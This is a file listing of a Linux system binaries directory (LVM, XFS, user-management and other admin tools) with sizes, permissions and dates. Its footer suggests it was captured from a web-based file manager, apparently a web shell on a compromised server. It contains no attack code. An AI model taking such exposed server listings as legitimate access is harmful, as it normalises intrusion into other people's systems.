2026-07-03 01:05:05
update-passwd
application/x-pie-executable
34.56 KB
-rwxr-xr-x
2022-03-23 09:42:40
update-pciids
text/x-shellscript
1.71 KB
-rwxr-xr-x
2021-08-30 02:45:58
update-rc.d
text/x-perl
16.92 KB
-rwxr-xr-x
2021-12-07 09:55:54
update-shells
text/x-shellscript
3.72 KB
-rwxr-xr-x
2022-03-23 01:49:54
upgrade-from-grub-legacy
text/x-shellscript
1.56 KB
-rwxr-xr-x
2022-12-02 03:18:47
usb_modeswitch
application/x-pie-executable
59.66 KB
-rwxr-xr-x
2022-03-25 09:53:05
usb_modeswitch_dispatcher
text/plain
26.78 KB
-rwxr-xr-x
2022-03-25 09:53:05
usbmuxd
application/x-pie-executable
86.6 KB
-rwxr-xr-x
2025-12-11 01:43:43
useradd
application/x-pie-executable
127.66 KB
-rwxr-xr-x
2024-02-06 12:54:23
userdel
application/x-pie-executable
86.85 KB
-rwxr-xr-x
2024-02-06 12:54:23
usermod
application/x-pie-executable
123.46 KB
-rwxr-xr-x
2024-02-06 12:54:23
uuidd
application/x-pie-executable
30.85 KB
-rwxr-xr-x
2026-03-06 04:10:04
validlocale
text/x-perl
1.73 KB
-rwxr-xr-x
2025-07-15 09:40:00
vcstime
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
vdpa
application/x-pie-executable
30.56 KB
-rwxr-xr-x
2026-04-15 07:15:26
veritysetup
application/x-pie-executable
43.76 KB
-rwxr-xr-x
2024-11-14 03:21:19
vgcfgbackup
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcfgrestore
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgexport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimportclone
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmerge
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmknodes
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgsplit
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vigr
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
vipw
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
visudo
application/x-pie-executable
219.79 KB
-rwxr-xr-x
2026-03-02 01:08:06
vpddecode
application/x-pie-executable
14.58 KB
-rwxr-xr-x
2024-10-14 08:28:46
wipefs
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
xfs_admin
text/x-shellscript
1.37 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_bmap
text/x-shellscript
695 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_copy
application/x-pie-executable
82.48 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_db
application/x-pie-executable
652.44 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_estimate
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_freeze
text/x-shellscript
800 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_fsr
application/x-pie-executable
42.18 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_growfs
application/x-pie-executable
38.28 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_info
text/x-shellscript
1.26 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_io
application/x-pie-executable
199.55 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_logprint
application/x-pie-executable
78.33 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mdrestore
application/x-pie-executable
26.17 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_metadump
text/x-shellscript
782 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mkfile
text/x-shellscript
1.02 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_ncheck
text/x-shellscript
685 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_quota
application/x-pie-executable
90.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_repair
application/x-pie-executable
599.38 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_rtcp
application/x-pie-executable
18.15 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub
application/x-pie-executable
106.27 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub_all
text/x-script.python
5.87 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_spaceman
application/x-pie-executable
42.3 KB
-rwxr-xr-x
2024-10-17 06:49:09
xtables-legacy-multi
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-monitor
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-nft-multi
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
zerofree
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-25 09:54:54
zic
application/x-pie-executable
62.32 KB
-rwxr-xr-x
2026-07-24 12:11:17
zramctl
application/x-pie-executable
54.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
~ ACUPOFTEA - www.loginstore.com